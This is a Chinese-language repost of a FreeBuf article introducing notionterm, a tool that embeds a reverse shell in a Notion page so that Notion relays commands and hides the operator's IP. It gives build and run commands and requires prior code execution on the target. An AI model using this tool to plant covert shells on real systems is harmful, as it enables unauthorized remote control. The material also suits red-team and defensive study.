Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >如何使用notionterm在Notion页面中嵌入反向Shell

如何使用notionterm在Notion页面中嵌入反向Shell

作者头像
FB客服
发布于 2023-03-30 11:15:09
发布于 2023-03-30 11:15:09
1.3K00
代码可运行
举报
文章被收录于专栏:FreeBufFreeBuf
运行总次数:0
代码可运行

 关于notionterm 

notionterm是一款功能强大的反向Shell嵌入工具,在该工具的帮助下,广大研究人员可以轻松向一个Notion页面中嵌入反向Shell。

 工具特性 

1、可以在反向Shell中隐藏我们的IP地址(研究人员和目标计算机之间没有进行直接交互,Notion将作为代理来托管反向Shell); 2、支持在报告中插入演示和PoC; 3、高可用性和可共享的反向Shell(桌面、浏览器、手机); 4、支持加密Shell和带有身份验证功能的远程Shell;

 工具要求 

Notion软件和API密钥; 允许目标设备通过HTTP通信连接与Notion域名交互; 在目标设备上能够实现远程代码执行;

 工具安装 

由于notionterm是要在目标设备上运行的,因此我们也必须要在目标设备上安装和构建notionterm。

因此,首先我们需要根据目标系统来设置env变量:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
GOOS=[windows/linux/darwin]

简单构建

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
git clone https://github.com/ariary/notionterm.git && cd notionterm
GOOS=$GOOS go build notionterm.go

此时我们需要设置API密钥和Notion页面URL,这里可以通过NOTION_TOKEN和NOTION_PAGE_URL这两个env变量来设置,或者通过--token和--page-url这两个参数来设置。

完整构建

直接将Notion API令牌和Notion页面URL地址嵌入到代码中。注意,这种场景下任何能够访问源代码的人都能够查看到令牌。出于安全因素考虑,大家请不要随意分享代码,并且使用后记得删除。

设置对应的env变量:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
export NOTION_PAGE_URL=[NOTION_PAGE_URL]
export NOTION_TOKEN=[INTEGRATION_NOTION_TOKEN]

接下来,运行下列代码完成项目构建:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
git clone https://github.com/ariary/notionterm.git && cd notionterm
./static-build.sh $NOTION_PAGE_URL $NOTION_TOKEN $GOOS go build notionterm.go

 工具运行 

我们有三种方法来运行notionterm。

普通模式

打开命令行终端,然后运行下列命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
notionterm [flags]

服务器模式

将notionterm 嵌入到任何页面:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
notionterm --server [flags]

下列命令可以将包含了页面ID的URL嵌入进去,并开启一个Shell会话:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https://[TARGET_URL]/notionterm?url=[NOTION_PAGE_ID]

轻量级模式

该模式下,工具只会从目标设备向Notion页面发送HTTP流量:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
notionterm light [flags]

 工具使用演示 

演示视频:https://image.3001.net/images/20220629/1656434339_62bb2ea33a7bffaa1d39c.gif

https://image.3001.net/images/20220629/1656434357_62bb2eb59b21dcc2838a3.gif

许可证协议

本项目的开发与发布遵循Unlicense授权协议。

项目地址

https://github.com/ariary/notionterm

参考资料

https://www.notion.so/

https://github.com/ariary/tacos

https://github.com/mttaggart/OffensiveNotion

https://github.com/ariary/Notionion

精彩推荐

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-07-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
electron仿制百度网盘客户端2(登录界面制作)
百度网盘客户端的尺寸是: 主界面 w:662px h:442px 顶部header h:75px bg:#EFF2F6
李昊天
2019/05/26
1.4K0
electron仿制qq(2) 主界面制作
制作从头开始 最后会将写好的组件放到一起的! 之前写了好几天的纯css 有点累 本章中将使用sass 如果代码太长 会分两个或多个章节写 代码中会有详细的注释 以便于大家阅读and理解 界面可能会有部分偏差 比较是仿制的
李昊天
2019/05/26
1.5K0
electron制作聊天界面(仿制qq)
这里解释一下为什么有一个paddingRight 因为我们的滚动条是5px 如果不加 在滚动条显示的时候页面会抖动
李昊天
2019/05/26
2.6K0
每日一学vue2:scoped样式属性、nanoid、记录本小案例(基础版)
如果我们给两个子组件中添加的样式类名相同就会出现类名冲突的问题,         vue显然页面的时候会最终把最后在app.vue中组测的组件的类名中的样式,         渲染出来!
淼学派对
2022/11/20
6100
每日一学vue2:scoped样式属性、nanoid、记录本小案例(基础版)
与 AI 共创:实现回车键自动登录功能
最近,在开发一个 Vue.js 项目时,遇到了一个需求:在登录表单中,用户输入完用户名和密码后,按下回车键即可自动触发登录功能。听起来很简单,但实现过程中却经历了一些小波折。今天,我就来分享一下这段与 AI 共创的经历,既有失败的无奈,也有成功的喜悦!😅🎉
肥晨
2025/03/17
1230
9. CMDB前端开发(上)
目前虽然已经实现登录功能,即使没有登录情况下直接访问任何页面都还可以访问的,我们希望如果用户没有登录情况下,访问任何页面都重新导航到登录页面
alexhuiwang
2023/05/07
1.9K0
9. CMDB前端开发(上)
Vue + Element UI 实现权限管理系统 前端篇(四):优化登录流程
1.1 从 Element 指南中选择组件模板丰富登录界面,放置一个登录界面表单,包含账号密码输入框和登录重置按钮。
朝雨忆轻尘
2019/06/18
2K0
HTML+CSS+JS 实现登录注册界面[通俗易懂]
鉴于小伙伴们没有csdn积分,我把代码压缩成了一个压缩包,放在了gitee上面,需要的请点击下载 点击下载
全栈程序员站长
2022/09/13
25.8K0
HTML+CSS+JS 实现登录注册界面[通俗易懂]
Vue2.x-01点击按钮弹出子Vue组件,遍历JSON展示数据
需求:需要在先有的页面上增加一个“查看处理人”的按钮,点击查看处理人,弹出子组件,将参数传递给子组件,初始化的时候created方法中发送请求到后台,接收到后台返回的JSON数据后,解析JSON展示到页面上。
小小工匠
2021/08/17
1K0
vue-d2admin前端axio异步请求详情
vue-d2admin前端axio异步请求详情 d2admin>src>api>sys.login.js 设计axio api import request from '@/plugin/axios' export function AccountLogin (data) { return request({ url: '/login', method: 'post', data }) } d2admin>src>store>d2admin>modules>account.
landv
2019/07/02
1.2K0
教育平台项目前端:Vue.js 高级
Vue cli 是基于 Vue 的应用开发提供的一个标准的脚手架工具,为应用搭建基础的框架结构,提供插件、开发服务、Preset、构建打包功能。
RendaZhang
2020/09/08
3.2K0
Python项目45-前后端分离Home主页及后台(开撸)
-多年互联网运维工作经验,曾负责过大规模集群架构自动化运维管理工作。 -擅长Web集群架构与自动化运维,曾负责国内某大型金融公司运维工作。 -devops项目经理兼DBA。 -开发过一套自动化运维平台(功能如下): 1)整合了各个公有云API,自主创建云主机。 2)ELK自动化收集日志功能。 3)Saltstack自动化运维统一配置管理工具。 4)Git、Jenkins自动化代码上线及自动化测试平台。 5)堡垒机,连接Linux、Windows平台及日志审计。 6)SQL执行及审批流程。 7)慢查询日志分析web界面。
DriverZeng
2022/09/26
5810
Python项目45-前后端分离Home主页及后台(开撸)
[前端学习]从0到1做一个Vue风格的Todolist(Vue牛刀小试)
文章目录 前言 整体的目录结构: App.vue MyHeader.vue MyList.vue MyFooter.vue MyItem.vue 运行效果: 前言 大家好,我是程序员man
Maynor
2021/12/07
2650
[前端学习]从0到1做一个Vue风格的Todolist(Vue牛刀小试)
wordpress后台登录界面美化
@font-face { font-family:fzz; src: url('https://img.zuanmang.net/ttf/fzz.ttf'); } 模板从吾爱破解论坛搬的,原作者分享出来的图片都丢失了,样式也有点问题。写了个圆角样式及添加阴影,以及透明显示。(本想用高斯模糊奈何这个结构全都都会变成毛玻璃效果。)用PHP随机显示图片做背景,实现后台登录背景随机刷新。
AlexTao
2019/12/13
6.3K0
wordpress后台登录界面美化
【Web开发】纯前端实现科技企业官网首页
本篇博文简单实现一个科技类产品官网的主页,图片素材来自于苹果官网。 相关教程参考自https://www.bilibili.com/video/BV117411n7R1 源代码下载:https://download.csdn.net/download/qq1198768105/85630862
zstar
2022/06/14
1.2K0
【Web开发】纯前端实现科技企业官网首页
【学生管理系统】用户管理之用户登录
<template>  <nuxt/> </template> ​ <script> export default { ​ } </script> ​ <style> ​ </style>
陶然同学
2023/02/24
1.7K0
【学生管理系统】用户管理之用户登录
ectron仿制qq(3) 主界面制作(2)
这里解释下 -顶部header的高度(140) 底部的高度(40) 写法很多 不过达到效果就行了 在窗口拉伸的时候可以自适应高度
李昊天
2019/05/26
7400
Vue
通过前面的介绍,我们对目前的项目工程化有了大体了了解,那么其中,在第二阶段的工程化演进中,有一个重要的工程设计理念诞生,他就是著名的 MVC 设计模式,简单点,MVC 其实就是为了项目工程化的一种分工模式;
jinghong
2020/05/12
7.1K0
Vue
200行纯前端Vue代码!教你写一个专属TodoList【零基础友好】
身为互联网农民工的我们,提起 Todo List 大家肯定一点都不陌生,因为 Todo List 是一个圈内比较知名的案例,可以通过 Java, Python 等后端语言再以少量的前端 Html 语言辅助实现整个 Todo List 的增、删、改、查等功能。
Wu_Candy
2022/07/05
1.5K1
200行纯前端Vue代码!教你写一个专属TodoList【零基础友好】
el-upload组件使用
ref="upload":给这个元素一个引用名,方便在Vue实例中通过this.$refs.upload访问。
用户4396583
2024/09/05
1420
相关推荐
electron仿制百度网盘客户端2(登录界面制作)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验